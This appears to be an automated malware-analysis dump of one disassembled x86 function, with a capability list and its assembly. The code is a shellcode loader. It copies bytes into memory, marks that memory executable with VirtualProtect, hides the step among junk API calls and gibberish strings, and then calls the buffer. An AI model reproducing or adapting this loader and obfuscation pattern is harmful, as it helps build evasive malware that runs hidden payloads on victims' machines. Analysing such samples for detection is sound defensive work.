Function at 0x4015f9
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1114
call fcn.00406c30
mov ecx, dword [0x789ea8]
push ebx
push esi
push edi
cmp ecx, 0x93
je 0x4017f2
mov eax, dword [0x41a3d0]
add ecx, 0x1134b
push ecx
xor esi, esi
mov dword [0x789eac], eax
push esi
mov dword [0x789ea8], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x14]
mov dword [0x789934], eax
push ecx
push 0x40
push dword [0x789ea8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, 0xa90ee
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec edi
jne 0x40165e
mov edx, dword [0x789ea8]
mov edi, esi
test edx, edx
je 0x4016ea
mov eax, dword [0x789eac]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x789934]
mov byte [eax + edi], cl
cmp edx, 0x490
jne 0x4016e5
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
push str.vuhihamehit_yodisehomerafelagatanozaje_lojohifolirixofacegacajepijol
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push 0x4178a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x910]
push eax
push str.vuxicolocenem_wekec
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PurgeComm]
mov edx, dword [0x789ea8]
inc edi
cmp edi, edx
jb 0x401676
mov edi, esi
lea eax, [edx + edi]
cmp eax, 0x8d
jne 0x40172d
push str.vuzajinijufaneyi_lubuwusifofeki_rotapixak_nap_lifacem
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push esi
push str.ciruvonodipafanihocofote
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov edx, dword [0x789ea8]
inc edi
cmp edi, 0x38681
jl 0x4016ec
push ecx
call fcn.004015b6
mov edi, esi
push esi
call ebx
cmp edi, 0x62
jne 0x40174b
call fcn.004015dd
inc edi
cmp edi, 0x674db
jl 0x40173e
push 0x7b
pop ebx
cmp dword [0x789ea8], 0x86
jne 0x4017be
xor eax, eax
lea edi, [ebp - 0x26]
mov word [ebp - 0x28], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [ebp - 0x38], ax
lea edi, [ebp - 0x36]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push esi
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
lea eax, [ebp - 0x60]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1110]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x789ea8], 0xf
jne 0x4017d1
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
dec ebx
jne 0x401757
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x789934]
mov dword [0x789e9c], eax
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.xekinuyorob_yiv_zucewimucozec
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push str.nonafewaluzujagizeluzavemokepeyiwosokisirerijuhehuduhopituyexulis
xor esi, esi
xor eax, eax
push esi
push esi
push esi
btr dword [eax], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push esi
lea eax, [ebp - 0xd10]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0x41788c
push esi
call fcn.0040373c
push esi
call fcn.00403b08
push esi
call fcn.00402aa6
add esp, 0x10
lea ecx, [ebp - 0x44]
push str.bad_exception
call fcn.0040109f
lea ecx, [ebp - 0x44]
call fcn.004010bb
call fcn.00402a63
int3